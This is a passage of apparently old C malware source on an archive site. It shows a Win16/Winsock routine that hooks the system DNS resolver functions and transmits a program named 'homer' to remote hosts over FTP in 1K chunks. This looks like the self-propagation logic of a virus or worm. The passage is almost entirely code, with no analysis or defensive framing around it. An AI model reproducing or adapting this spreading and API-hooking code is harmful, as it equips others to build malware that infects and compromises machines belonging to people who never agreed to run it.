/* here we adjust timeout counter for ftp connection */
{
conn_timeout++;
if (conn_timeout>1800) /* 30 minutes */
{
ftpstatus=0;
closesocket(new_socket);
closesocket(client_socket);
closesocket(server_socket);
}
}
if (ftpstatus==5)
/* if ftp status is 5 we send homer via ftp in 1K block, one per second or less
if the connection is too slow */

{
int sent;
if (progress>=mysize)
{
ftpstatus=0;
closesocket(new_socket);
closesocket(client_socket);
closesocket(server_socket);
}
else
{
sent=send(new_socket,mybuffer+progress,min(1024,mysize-progress),0);
if (sent!=-1) progress+=sent;
}
}
if (slotstatus && !ftpstatus)
{
/* start transer of homer via ftp to the other side */
/* create socket at our side */
ftpstatus=1;
conn_timeout=0;
slotstatus=0;
client_socket=socket(PF_INET,SOCK_STREAM,0);

if (client_socket==INVALID_SOCKET)
{
ftpstatus=0;
}

setsockopt(client_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger));

client_sck_addr.sin_family=AF_INET;
client_sck_addr.sin_addr.s_addr=INADDR_ANY;
client_sck_addr.sin_port=0;

if (bind(client_socket,(LPSOCKADDR)&client_sck_addr,sizeof(client_sck_addr))==SOCKET_ERROR)
{
ftpstatus=0;
}

service_info=getservbyname(service_name,"tcp");

WSAAsyncSelect(client_socket,hwnd,WSA_SOCKET,
FD_READ | FD_WRITE | FD_CONNECT | FD_CLOSE | FD_OOB );

strncpy(tmp_hostname,hostname,MAX_HOSTNAME);
/* start name resolution */
ath=WSAAsyncGetHostByName(hwnd,WSA_DNS,tmp_hostname,resolver_buf,MAXGETHOSTSTRUCT);
}

/* reactivate resolver hook */
if (!activeGetHostByName && saveGetHostByName.wh)
{
activewin16api(&saveGetHostByName,i3);
activeGetHostByName=1;
}
if (!activeWSAGetHostByName && saveWSAGetHostByName.wh)
{
activewin16api(&saveWSAGetHostByName,i4);
activeWSAGetHostByName=1;
}
#endif

}

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT